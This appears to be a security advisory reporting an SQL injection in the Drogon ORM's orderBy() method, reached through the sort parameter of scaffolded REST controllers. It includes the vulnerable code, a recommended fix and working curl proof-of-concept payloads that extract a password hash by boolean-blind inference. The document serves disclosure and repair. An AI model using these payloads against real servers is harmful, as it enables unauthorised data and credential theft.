[Security]SQL Injection in Drogon ORM - orderBy() Method

# SQL Injection in Drogon ORM - orderBy() Method

> **Note:**
> - All PoC examples use `localhost:8200` as a demonstration endpoint. Replace with your actual server address.
> - Response examples below are based on a test database with 8 users. Your actual responses will differ based on your data.

## Test Data Schema (for reference)

The PoC examples assume a `users` table with the following structure:

```sql
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username VARCHAR(50) UNIQUE NOT NULL,
password_hash VARCHAR(255) NOT NULL,
salary DECIMAL(10,2)
);

-- Sample data (8 users)
INSERT INTO users (username, password_hash, salary) VALUES
('admin', '$2a$10$abc123...', 95000.00),
('zhangsan', '$2a$10$def456...', 75000.00),
('lisi', '$2a$10$ghi789...', 68000.00),
('wangwu', '$2a$10$jkl012...', 72000.00),
('zhaoliu', '$2a$10$mno345...', 65000.00),
('sunqi', '$2a$10$pqr678...', 70000.00),
('zhouba', '$2a$10$stu901...', 63000.00),
('wujiu', '$2a$10$vwx234...', 67000.00);
```

## Summary

SQL injection vulnerability exists in the `drogon::orm::Mapper::orderBy()` method, allowing attackers to inject arbitrary SQL into ORDER BY clauses when using generated RESTful controllers.

## Vulnerability Details

### Affected Component
- File: `orm_lib/inc/drogon/orm/Mapper.h`
- Method: `Mapper::orderBy(const std::string &colName, const SortOrder &order)`
- Line: 1986

### Vulnerable Code

```cpp
1980: inline Mapper &Mapper::orderBy(const std::string &colName,
1981: const SortOrder &order)
1982: {
1983: if (orderByString_.empty())
1984: {
1985: orderByString_ =
1986: utils::formattedString(" order by %s", colName.c_str());
1987: if (order == SortOrder::DESC)
1988: {
1989: orderByString_ += " desc";
1990: }
1991: }
```

**The Problem:** The `colName` parameter is directly interpolated into the SQL ORDER BY clause using `formattedString()` (a `sprintf`-like function) with **zero validation** for:
- SQL injection characters
- SQL syntax
- Column name validity
- Special operators that could modify query behavior

### Exploitation Path

1. **Source:** `drogon_ctl` generates RESTful controllers with a `sort` query parameter handler
2. **Template:** `drogon_ctl/templates/restful_controller_base_cc.csp:243-264`
- Accepts `sort` from HTTP query parameters
- Passes directly to `mapper.orderBy(field, SortOrder::ASC/DESC)`
- No validation or sanitization of the `sort` value
3. **Sink:** `Mapper.h:1986` - Direct concatenation into SQL

```cpp
// restful_controller_base_cc.csp:243-264
auto iter = parameters.find("sort");
if(iter != parameters.end())
{
auto sortFields = drogon::utils::splitString(iter->second, ",");
for(auto &field : sortFields)
{
if(field[0] == '+')
{
field = field.substr(1);
mapper.orderBy(field, SortOrder::ASC); // RAW VALUE PASSED
}
else if(field[0] == '-')
{
field = field.substr(1);
mapper.orderBy(field, SortOrder::DESC); // RAW VALUE PASSED
}
else
{
mapper.orderBy(field, SortOrder::ASC); // RAW VALUE PASSED
}
}
}
```

### Bypass Defense Mechanism

A defense function `isValidSqlIdentifier()` exists in `orm_lib/inc/drogon/orm/BaseBuilder.h:116-131` that restricts characters to `[a-zA-Z0-9_.]`. However, this function is **NOT called** in the analyzed execution path for `orderBy()`. It is only used in JOIN methods wrapped in `assert()` (removed in release builds via `NDEBUG`).

### Impact

**Confidentiality: HIGH** - Data extraction via Boolean-based SQL Injection

Attackers can extract sensitive data accessible to the database user through boolean-based inference in the ORDER BY clause:

```bash
# Verify admin password hash first character
curl "http://localhost:8200/users?sort=(CASE%20WHEN%20(SELECT%20SUBSTRING(password_hash,1,1)%20FROM%20users%20WHERE%20username=%27admin%27)=%27a%27%20THEN%20id::text%20ELSE%20username%20END)"
```

- Normal query: Records sorted by username alphabetically
- Injected query with matching condition: Records sorted by id numerically (1,2,3,4,5,6,7,8)

This allows boolean-based inference of database contents through observable differences in query result ordering, subject to PostgreSQL expression constraints and the application's observable response behavior.

### Proof of Concept

**1. Normal sorting returns 8 records sorted by username:**
```bash
curl "http://localhost:8200/users?sort=username"
# Returns: 8 users ordered alphabetically (admin,lisi,sunqi,...)
```

**2. Injected sorting (CASE WHEN 1=1 returns id order):**
```bash
curl "http://localhost:8200/users?sort=(CASE%20WHEN%201=1%20THEN%20id%20ELSE%20username%20END)"
# Returns: 8 users ordered by id (1,2,3,4,5,6,7,8)
```

**3. Exploited sorting (case when 1=0 returns alternative order or bypasses WHERE):**
```bash
curl "http://localhost:8200/users?sort=(CASE%20WHEN%20(SELECT%20COUNT(*)%20FROM%20users)%20>0%20THEN%20id%20ELSE%20name%20END)"
# Can extract ANY data by observing sort order behavior
```

### Exploitation Constraints

| Technique | Status | Reason |
|-----------|--------|--------|
| CASE WHEN boolean blind injection | **Success** | Query returns different data orders based on payload |
| Stacked queries `1;DROP TABLE` | **Blocked** | PostgreSQL prepared statement mechanism prevents |
| UNION injection | **Blocked** | ORDER BY clause syntax restrictions |
| Time-based `pg_sleep` | **Blocked** | pg_sleep returns void, cannot be used with CASE WHEN |

However, boolean blind injection through ORDER BY is sufficient for extracting sensitive data accessible to the database user, subject to PostgreSQL expression constraints and application response observability.

### Recommendation

**Immediate Fix:**

Add column name validation before SQL construction:

```cpp
inline Mapper &Mapper::orderBy(const std::string &colName,
const SortOrder &order)
{
if (!isValidSqlIdentifier(colName)) // Existing validation function
throw std::runtime_error("Invalid sort column: " + colName);

if (orderByString_.empty())
{
orderByString_ =
utils::formattedString(" order by %s", colName.c_str());
if (order == SortOrder::DESC)
{
orderByString_ += " desc";
}
}
// ... rest of method
}
```

**Long-term Solutions:**

1. Use parameterized binding for ORDER BY where possible (limited by SQL standard)
2. Validate all identifier inputs across ORM layer using `isValidSqlIdentifier()`
3. Add optional whitelisting mechanism for allowed sort columns per model

### Affected Versions

- **Introduced:** v1.0.0-beta8 (when the vulnerable pattern was introduced by commit 70eda274 on 2019-09-30)
- Git verification: `git tag --contains 70eda274` includes v1.0.0, beta8, beta9, beta10 and all later releases
- **Affects:** v1.0.0-beta8 ~ v1.0.0-beta21 through v1.9.13; later versions should be considered affected until a fix is confirmed
- **Status:** **UNFIXED** as of 2026-08-31

### Additional Context

This vulnerability is exposed by the default `drogon_ctl` scaffold for RESTful APIs, which generates controllers with:
- No authentication filters by default
- Untrusted `sort` query parameter endpoint
- Flag in `model.json`: `"restful_api_controllers.enabled": true`

Educational developers who enable REST scaffolding for API development will have exposed unauthenticated SQL injection endpoints without requiring additional configuration.

---

**References:**
- Source: https://github.com/drogonframework/drogon/blob/v1.9.13/orm_lib/inc/drogon/orm/Mapper.h#L1980-L2002
- Template: https://github.com/drogonframework/drogon/blob/v1.9.13/drogon_ctl/templates/restful_controller_base_cc.csp#L243-L264
- CWE-89: https://cwe.mitre.org/data/definitions/89.html (Improper Neutralization of Special Elements)

Start with orm_lib/inc/drogon/orm/Mapper.h around Mapper::orderBy(), then trace the sort handling in drogon_ctl/templates/restful_controller_base_cc.csp and compare it with isValidSqlIdentifier() in orm_lib/inc/drogon/orm/BaseBuilder.h. Reproduce the reported sort behavior against the generated REST path, then verify that unsafe identifiers are rejected and safe sorting still works with regression coverage.

Written by the indexing model from the issue text.